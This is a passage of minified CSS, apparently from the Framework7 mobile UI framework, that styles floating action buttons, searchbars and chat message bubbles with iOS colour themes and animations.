.color-theme-black .data-table-title-selected{color:#000}.fab{position:absolute;z-index:1500}.fab-buttons a,.fab>a{position:relative;-webkit-transition-duration:.3s;transition-duration:.3s;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;overflow:hidden;z-index:1}.fab>a i{position:absolute;left:50%;top:50%;-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);-webkit-transition:.3s;transition:.3s}.fab>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);opacity:0}.fab[class*=fab-center]{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.fab[class*=left-center],.fab[class*=right-center]{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.fab[class*=center-center]{top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.fab div.fab-buttons a{width:40px;height:40px}.fab-buttons{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;visibility:hidden;pointer-events:none;position:absolute}.fab-buttons a{opacity:0}.fab-opened:not(.fab-morph)>a i{-webkit-transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);opacity:0}.fab-opened:not(.fab-morph)>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);opacity:1}.fab-opened .fab-buttons{visibility:visible;pointer-events:auto}.fab-opened .fab-buttons a{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1)!important;transform:translate3d(0,0,0) scale(1)!important}.fab-opened .fab-buttons a:nth-child(2){-webkit-transition-delay:50ms;transition-delay:50ms}.fab-opened .fab-buttons a:nth-child(3){-webkit-transition-delay:.1s;transition-delay:.1s}.fab-opened .fab-buttons a:nth-child(4){-webkit-transition-delay:150ms;transition-delay:150ms}.fab-opened .fab-buttons a:nth-child(5){-webkit-transition-delay:.2s;transition-delay:.2s}.fab-opened .fab-buttons a:nth-child(6){-webkit-transition-delay:250ms;transition-delay:250ms}.fab-buttons-bottom,.fab-buttons-top{left:50%;width:40px;margin-left:-20px}.fab-buttons-top{bottom:100%;margin-bottom:16px;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fab-buttons-top a{-webkit-transform:translate3d(0,8px,0) scale(.3);transform:translate3d(0,8px,0) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-top a+a{margin-bottom:16px}.fab-buttons-bottom{top:100%;margin-top:16px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.fab-buttons-bottom a{-webkit-transform:translate3d(0,-8px,0) scale(.3);transform:translate3d(0,-8px,0) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-bottom a+a{margin-top:16px}.fab-buttons-left,.fab-buttons-right{top:50%;height:40px;margin-top:-20px}.fab-buttons-left{right:100%;margin-right:16px}.fab-buttons-left a{-webkit-transform:translate3d(8px,0,0) scale(.3);transform:translate3d(8px,0,0) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-buttons-left a+a{margin-right:16px}.fab-buttons-right{left:100%;margin-left:16px;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.fab-buttons-right a{-webkit-transform:translate3d(-8px,0,0) scale(.3);transform:translate3d(-8px,0,0) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-right a+a{margin-left:16px}.fab-buttons-center{left:0;top:0;width:100%;height:100%}.fab-buttons-center a{position:absolute}.fab-buttons-center a:nth-child(1){left:50%;margin-left:-20px;bottom:100%;margin-bottom:16px;-webkit-transform:translateY(-8px) scale(.3);transform:translateY(-8px) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-center a:nth-child(2){left:100%;margin-top:-20px;top:50%;margin-left:16px;-webkit-transform:translateX(-8px) scale(.3);transform:translateX(-8px) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-center a:nth-child(3){left:50%;margin-left:-20px;top:100%;margin-top:16px;-webkit-transform:translateY(8px) scale(.3);transform:translateY(8px) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-center a:nth-child(4){right:100%;margin-top:-20px;top:50%;margin-right:16px;-webkit-transform:translateX(8px) scale(.3);transform:translateX(8px) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-opened.fab-morph>a i{opacity:0}.fab-morph,.fab-morph-target,.fab-morph>a{-webkit-transition-duration:250ms;transition-duration:250ms}.fab-morph-target:not(.fab-morph-target-visible){display:none}.fab-extended{width:auto}.fab-extended>a{width:100%!important}.fab-text{padding-left:20px;padding-right:20px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px;text-transform:uppercase}.fab-label-button{overflow:visible!important}.fab-label{position:absolute;top:50%;padding:4px 12px;border-radius:4px;background:#fff;color:#333;white-space:nowrap;-webkit-transform:translateY(-50%);transform:translateY(-50%);pointer-events:none}.fab[class*=fab-right-] .fab-label{right:100%;margin-right:8px}.fab[class*=fab-left-] .fab-label{left:100%;margin-left:8px}.ios .fab-buttons a,.ios .fab>a{background:#007aff;width:50px;height:50px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4);border-radius:25px;color:#fff}.ios .fab-buttons a.active-state,.ios .fab>a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background:#0066d6}.ios .fab-buttons a i.icon,.ios .fab>a i.icon{font-size:21px}.ios .fab[class*=fab-left]{left:15px}.ios .fab[class*=fab-right]{right:15px}.ios .fab[class*="-top"]{top:15px}.ios .fab[class*="-bottom"]{bottom:15px}.ios .navbar~* .fab[class*="-top"],.ios .navbar~.fab[class*="-top"]{margin-top:44px}.ios .toolbar~* .fab[class*="-bottom"],.ios .toolbar~.fab[class*="-bottom"]{margin-bottom:44px}.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:56px}}.ios .fab-morph{border-radius:25px;background:#007aff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4)}.ios .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.ios .fab-extended{min-width:50px}.ios .fab-extended>a{width:100%;height:50px}.ios .fab-extended>a i{left:25px}.ios .fab-extended i~.fab-text{padding-left:50px}.ios .fab-label{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.4);box-shadow:0 1px 2px rgba(0,0,0,.4)}.ios .color-theme-red .fab-buttons a,.ios .color-theme-red .fab>a,.ios .color-theme-red.fab-buttons a,.ios .color-theme-red.fab>a{background:#ff3b30}.ios .color-theme-red .fab-buttons a.active-state,.ios .color-theme-red .fab>a.active-state,.ios .color-theme-red.fab-buttons a.active-state,.ios .color-theme-red.fab>a.active-state{background:#ff1407}.ios .color-theme-red .fab-morph,.ios .color-theme-red.fab-morph{background:#ff3b30}.ios .color-theme-green .fab-buttons a,.ios .color-theme-green .fab>a,.ios .color-theme-green.fab-buttons a,.ios .color-theme-green.fab>a{background:#4cd964}.ios .color-theme-green .fab-buttons a.active-state,.ios .color-theme-green .fab>a.active-state,.ios .color-theme-green.fab-buttons a.active-state,.ios .color-theme-green.fab>a.active-state{background:#2cd048}.ios .color-theme-green .fab-morph,.ios .color-theme-green.fab-morph{background:#4cd964}.ios .color-theme-blue .fab-buttons a,.ios .color-theme-blue .fab>a,.ios .color-theme-blue.fab-buttons a,.ios .color-theme-blue.fab>a{background:#007aff}.ios .color-theme-blue .fab-buttons a.active-state,.ios .color-theme-blue .fab>a.active-state,.ios .color-theme-blue.fab-buttons a.active-state,.ios .color-theme-blue.fab>a.active-state{background:#0066d6}.ios .color-theme-blue .fab-morph,.ios .color-theme-blue.fab-morph{background:#007aff}.ios .color-theme-pink .fab-buttons a,.ios .color-theme-pink .fab>a,.ios .color-theme-pink.fab-buttons a,.ios .color-theme-pink.fab>a{background:#ff2d55}.ios .color-theme-pink .fab-buttons a.active-state,.ios .color-theme-pink .fab>a.active-state,.ios .color-theme-pink.fab-buttons a.active-state,.ios .color-theme-pink.fab>a.active-state{background:#ff0434}.ios .color-theme-pink .fab-morph,.ios .color-theme-pink.fab-morph{background:#ff2d55}.ios .color-theme-yellow .fab-buttons a,.ios .color-theme-yellow .fab>a,.ios .color-theme-yellow.fab-buttons a,.ios .color-theme-yellow.fab>a{background:#fc0}.ios .color-theme-yellow .fab-buttons a.active-state,.ios .color-theme-yellow .fab>a.active-state,.ios .color-theme-yellow.fab-buttons a.active-state,.ios .color-theme-yellow.fab>a.active-state{background:#d6ab00}.ios .color-theme-yellow .fab-morph,.ios .color-theme-yellow.fab-morph{background:#fc0}.ios .color-theme-orange .fab-buttons a,.ios .color-theme-orange .fab>a,.ios .color-theme-orange.fab-buttons a,.ios .color-theme-orange.fab>a{background:#ff9500}.ios .color-theme-orange .fab-buttons a.active-state,.ios .color-theme-orange .fab>a.active-state,.ios .color-theme-orange.fab-buttons a.active-state,.ios .color-theme-orange.fab>a.active-state{background:#d67d00}.ios .color-theme-orange .fab-morph,.ios .color-theme-orange.fab-morph{background:#ff9500}.ios .color-theme-gray .fab-buttons a,.ios .color-theme-gray .fab>a,.ios .color-theme-gray.fab-buttons a,.ios .color-theme-gray.fab>a{background:#8e8e93}.ios .color-theme-gray .fab-buttons a.active-state,.ios .color-theme-gray .fab>a.active-state,.ios .color-theme-gray.fab-buttons a.active-state,.ios .color-theme-gray.fab>a.active-state{background:#79797f}.ios .color-theme-gray .fab-morph,.ios .color-theme-gray.fab-morph{background:#8e8e93}.ios .color-theme-white .fab-buttons a,.ios .color-theme-white .fab>a,.ios .color-theme-white.fab-buttons a,.ios .color-theme-white.fab>a{background:#fff}.ios .color-theme-white .fab-buttons a.active-state,.ios .color-theme-white .fab>a.active-state,.ios .color-theme-white.fab-buttons a.active-state,.ios .color-theme-white.fab>a.active-state{background:#ebebeb}.ios .color-theme-white .fab-morph,.ios .color-theme-white.fab-morph{background:#fff}.ios .color-theme-black .fab-buttons a,.ios .color-theme-black .fab>a,.ios .color-theme-black.fab-buttons a,.ios .color-theme-black.fab>a{background:#000}.ios .color-theme-black .fab-buttons a.active-state,.ios .color-theme-black .fab>a.active-state,.ios .color-theme-black.fab-buttons a.active-state,.ios .color-theme-black.fab>a.active-state{background:#000}.ios .color-theme-black .fab-morph,.ios .color-theme-black.fab-morph{background:#000}.ios .fab .fab-buttons>a.color-red,.ios .fab-buttons.color-red a,.ios .fab.color-red .fab-buttons>a,.ios .fab.color-red>a,.ios .fab>a.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-red.active-state,.ios .fab-buttons.color-red a.active-state,.ios .fab.color-red .fab-buttons>a.active-state,.ios .fab.color-red>a.active-state,.ios .fab>a.color-red.active-state{background:#ff1407}.ios .fab-morph.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-green,.ios .fab-buttons.color-green a,.ios .fab.color-green .fab-buttons>a,.ios .fab.color-green>a,.ios .fab>a.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-green.active-state,.ios .fab-buttons.color-green a.active-state,.ios .fab.color-green .fab-buttons>a.active-state,.ios .fab.color-green>a.active-state,.ios .fab>a.color-green.active-state{background:#2cd048}.ios .fab-morph.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-blue,.ios .fab-buttons.color-blue a,.ios .fab.color-blue .fab-buttons>a,.ios .fab.color-blue>a,.ios .fab>a.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-blue.active-state,.ios .fab-buttons.color-blue a.active-state,.ios .fab.color-blue .fab-buttons>a.active-state,.ios .fab.color-blue>a.active-state,.ios .fab>a.color-blue.active-state{background:#0066d6}.ios .fab-morph.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-pink,.ios .fab-buttons.color-pink a,.ios .fab.color-pink .fab-buttons>a,.ios .fab.color-pink>a,.ios .fab>a.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-pink.active-state,.ios .fab-buttons.color-pink a.active-state,.ios .fab.color-pink .fab-buttons>a.active-state,.ios .fab.color-pink>a.active-state,.ios .fab>a.color-pink.active-state{background:#ff0434}.ios .fab-morph.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-yellow,.ios .fab-buttons.color-yellow a,.ios .fab.color-yellow .fab-buttons>a,.ios .fab.color-yellow>a,.ios .fab>a.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-yellow.active-state,.ios .fab-buttons.color-yellow a.active-state,.ios .fab.color-yellow .fab-buttons>a.active-state,.ios .fab.color-yellow>a.active-state,.ios .fab>a.color-yellow.active-state{background:#d6ab00}.ios .fab-morph.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-orange,.ios .fab-buttons.color-orange a,.ios .fab.color-orange .fab-buttons>a,.ios .fab.color-orange>a,.ios .fab>a.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-orange.active-state,.ios .fab-buttons.color-orange a.active-state,.ios .fab.color-orange .fab-buttons>a.active-state,.ios .fab.color-orange>a.active-state,.ios .fab>a.color-orange.active-state{background:#d67d00}.ios .fab-morph.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-gray,.ios .fab-buttons.color-gray a,.ios .fab.color-gray .fab-buttons>a,.ios .fab.color-gray>a,.ios .fab>a.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-gray.active-state,.ios .fab-buttons.color-gray a.active-state,.ios .fab.color-gray .fab-buttons>a.active-state,.ios .fab.color-gray>a.active-state,.ios .fab>a.color-gray.active-state{background:#79797f}.ios .fab-morph.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-white,.ios .fab-buttons.color-white a,.ios .fab.color-white .fab-buttons>a,.ios .fab.color-white>a,.ios .fab>a.color-white{background:#fff}.ios .fab .fab-buttons>a.color-white.active-state,.ios .fab-buttons.color-white a.active-state,.ios .fab.color-white .fab-buttons>a.active-state,.ios .fab.color-white>a.active-state,.ios .fab>a.color-white.active-state{background:#ebebeb}.ios .fab-morph.color-white{background:#fff}.ios .fab .fab-buttons>a.color-black,.ios .fab-buttons.color-black a,.ios .fab.color-black .fab-buttons>a,.ios .fab.color-black>a,.ios .fab>a.color-black{background:#000}.ios .fab .fab-buttons>a.color-black.active-state,.ios .fab-buttons.color-black a.active-state,.ios .fab.color-black .fab-buttons>a.active-state,.ios .fab.color-black>a.active-state,.ios .fab>a.color-black.active-state{background:#000}.ios .fab-morph.color-black{background:#000}.ios.device-iphone-x .fab[class*="-bottom"]{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .fab[class*=fab-left],.ios.device-iphone-x .ios-left-edge .fab[class*=fab-left],.ios.device-iphone-x .panel-left .fab[class*=fab-left],.ios.device-iphone-x .popup .fab[class*=fab-left],.ios.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .fab[class*=fab-right],.ios.device-iphone-x .ios-right-edge .fab[class*=fab-right],.ios.device-iphone-x .panel-right .fab[class*=fab-right],.ios.device-iphone-x .popup .fab[class*=fab-right],.ios.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(15px + constant(safe-area-inset-right));right:calc(15px + env(safe-area-inset-right))}}.searchbar{width:100%;position:relative;z-index:200}.searchbar .searchbar-input-wrap{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;height:100%;position:relative}.searchbar .searchbar-input-wrap input[type=search]{padding:0}.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button{-webkit-appearance:none;appearance:none}.page>.searchbar{position:absolute;left:0;top:0}.searchbar-expandable{position:absolute;-webkit-transition-duration:.3s;transition-duration:.3s;pointer-events:none}.searchbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.searchbar-disable-button{cursor:pointer;pointer-events:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;border:none;outline:0;padding:0;margin:0;width:auto;opacity:0}.searchbar-icon{pointer-events:none;background-position:center;background-repeat:no-repeat}.searchbar-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;z-index:100;opacity:0;pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.searchbar-backdrop.searchbar-backdrop-in{opacity:1;pointer-events:auto}.page-content>.searchbar-backdrop{position:fixed}.searchbar-not-found{display:none}.hidden-by-searchbar,.list .hidden-by-searchbar,.list li.hidden-by-searchbar,.list.li.hidden-by-searchbar{display:none!important}.ios .searchbar{height:44px;background:#f7f7f8}.ios .searchbar.no-hairline:after{display:none!important}.ios .searchbar input[type=search],.ios .searchbar input[type=text]{padding:0 28px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:10px;border-radius:8px;font-family:inherit;color:#000;font-size:17px;font-weight:400;z-index:30;background-color:#e8e8ea;position:relative}.ios .searchbar input[type=search]::-webkit-input-placeholder,.ios .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]:-ms-input-placeholder,.ios .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::-ms-input-placeholder,.ios .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::placeholder,.ios .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.ios .searchbar .input-clear-button{z-index:40;left:7px}.ios .searchbar-inner{padding:0 8px}.ios .searchbar-icon{width:13px;height:13px;position:absolute;top:50%;margin-top:-6px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E");background-size:13px 13px;z-index:40;right:8px}.ios .searchbar-backdrop{background:rgba(0,0,0,.4)}.ios .searchbar-input-wrap{height:32px}.ios .searchbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .searchbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .searchbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .searchbar-disable-button{font-size:17px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;color:#007aff;display:none}.ios .searchbar-disable-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.3!important}.ios .searchbar-enabled .searchbar-disable-button{pointer-events:auto;opacity:1;margin-right:8px}.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button{-webkit-transition-duration:.3s!important;transition-duration:.3s!important}.ios .searchbar-expandable{right:0;bottom:0;opacity:1;width:100%;height:0%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.ios .searchbar-expandable .searchbar-disable-button{margin-right:8px;opacity:1;display:block}.ios .searchbar-expandable .searchbar-inner{height:44px}.ios .searchbar-expandable.searchbar-enabled{opacity:1;height:100%;pointer-events:auto}.ios .page>.searchbar{z-index:200}.ios .navbar~.page:not(.no-navbar)>.searchbar,.ios .page>.navbar~.searchbar{top:44px}.ios .navbar~.page:not(.no-navbar)>.searchbar~* .page-content,.ios .navbar~.page:not(.no-navbar)>.searchbar~.page-content,.ios .page>.navbar~.searchbar~* .page-content,.ios .page>.navbar~.searchbar~.page-content{padding-top:88px}.ios .theme-dark .searchbar,.searchbar.ios .theme-dark{background-color:#303030}.ios .theme-dark .searchbar:after,.searchbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .searchbar input[type=search],.ios .theme-dark .searchbar input[type=text],.searchbar.ios .theme-dark input[type=search],.searchbar.ios .theme-dark input[type=text]{background-color:#171717;color:#fff}.ios .color-theme-red .searchbar-disable-button{color:#ff3b30}.ios .color-theme-green .searchbar-disable-button{color:#4cd964}.ios .color-theme-blue .searchbar-disable-button{color:#007aff}.ios .color-theme-pink .searchbar-disable-button{color:#ff2d55}.ios .color-theme-yellow .searchbar-disable-button{color:#fc0}.ios .color-theme-orange .searchbar-disable-button{color:#ff9500}.ios .color-theme-gray .searchbar-disable-button{color:#8e8e93}.ios .color-theme-white .searchbar-disable-button{color:#fff}.ios .color-theme-black .searchbar-disable-button{color:#000}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-left-edge .searchbar-inner,.ios.device-iphone-x .panel-left .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-right-edge .searchbar-inner,.ios.device-iphone-x .panel-right .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.messages{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-height:100%;position:relative;z-index:1}.messages-title{text-align:center;width:100%;line-height:1}.message{max-width:70%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end;position:relative;z-index:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.message-avatar{border-radius:50%;position:relative;background-size:cover;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.message-content{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.message-footer,.message-header,.message-name{line-height:1;font-size:12px}.message-footer{font-size:11px;margin-bottom:-1em}.message-bubble{-webkit-box-sizing:border-box;box-sizing:border-box;word-break:break-word;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;line-height:1.2}.message-image img{display:block;max-width:100%;height:auto;width:auto}.message-text-footer,.message-text-header{font-size:12px;line-height:1}.message-text{text-align:left}.message-sent{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.message-received{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.message-received .message-content{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.message-sent .message-content{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.message:not(.message-last) .message-avatar{opacity:0}.message:not(.message-first) .message-name{display:none}.message.message-same-name .message-name{display:none}.message.message-same-header .message-header{display:none}.message.message-same-footer .message-footer{display:none}.message-appear-from-bottom{-webkit-animation:message-appear-from-bottom .3s;animation:message-appear-from-bottom .3s}.message-appear-from-top{-webkit-animation:message-appear-from-top .3s;animation:message-appear-from-top .3s}.message-typing-indicator{display:inline-block;font-size:0;vertical-align:middle}.message-typing-indicator>div{display:inline-block;position:relative;background:#000;vertical-align:middle;border-radius:50%}@-webkit-keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.ios .messages,.ios .messages-content{background:#fff}.ios .messages-title{font-size:11px;color:#8e8e93;margin-top:10px}.ios .messages-title:last-child{margin-bottom:10px}.ios .messages-title b{font-weight:600}.ios .message{margin-top:10px}.ios .message:last-child{margin-bottom:10px}.ios .message-avatar{width:29px;height:29px}.ios .message-footer,.ios .message-header,.ios .message-name{color:#8e8e93}.ios .message-footer b,.ios .message-header b,.ios .message-name b{font-weight:600}.ios .message-header,.ios .message-name{margin-bottom:3px}.ios .message-footer{margin-top:3px}.ios .message-bubble{font-size:17px;line-height:1.2;border-radius:16px;padding:6px 16px 9px;min-width:48px;min-height:35px}.ios .message-image{margin:6px -16px}.ios .message-image:first-child{margin-top:-6px}.ios .message-image:first-child img{border-top-left-radius:16px;border-top-right-radius:16px}.ios .message-image:last-child{margin-bottom:-9px}.ios .message-image:last-child img{border-bottom-left-radius:16px;border-bottom-right-radius:16px}.ios .message-text-header{margin-bottom:3px}.ios .message-text-footer{margin-top:3px}.ios .message-received{margin-left:10px}.ios .message-received .message-footer,.ios .message-received .message-header,.ios .message-received .message-name{margin-left:16px}.ios .message-received .message-text-footer,.ios .message-received .message-text-header{opacity:.5}.ios .message-received .message-bubble{color:#000;background:#e5e5ea;padding-left:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received .message-image{margin-left:-22px}.ios .message-received.message-tail:not(.message-typing) .message-bubble{border-radius:16px 16px 16px 0;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img{border-bottom-left-radius:0}.ios .message-sent{margin-right:10px}.ios .message-sent .message-footer,.ios .message-sent .message-header,.ios .message-sent .message-name{margin-right:16px}.ios .message-sent .message-text-footer,.ios .message-sent .message-text-header{opacity:.8}.ios .message-sent .message-bubble{background:#00d449;color:#fff;padding-right:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent .message-image{margin-right:-22px}.ios .message-sent.message-tail .message-bubble{border-radius:16px 16px 0 16px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent.message-tail .message-bubble .message-image:last-child img{border-bottom-right-radius:0}.ios .message+.message:not(.message-first){margin-top:1px}.ios .message-received.message-typing .message-content:after,.ios .message-received.message-typing .message-content:before{content:'';position:absolute;background:#e5e5ea;border-radius:50%}.ios .message-received.message-typing .message-content:after{width:11px;height:11px;left:4px;bottom:0}.ios .message-received.message-typing .message-content:before{width:6px;height:6px;left:-1px;bottom:-4px}.ios .message-typing-indicator>div{width:9px;height:9px;opacity:.35}.ios .message-typing-indicator>div+div{margin-right:4px}.ios .message-typing-indicator>div:nth-child(1){-webkit-animation:ios-message-typing-indicator .9s infinite;animation:ios-message-typing-indicator .9s infinite}.ios .message-typing-indicator>div:nth-child(2){-webkit-animation:ios-message-typing-indicator .9s 150ms infinite;animation:ios-message-typing-indicator .9s 150ms infinite}.ios .message-typing-indicator>div:nth-child(3){-webkit-animation:ios-message-typing-indicator .9s .3s infinite;animation:ios-message-typing-indicator .9s .3s infinite}.ios 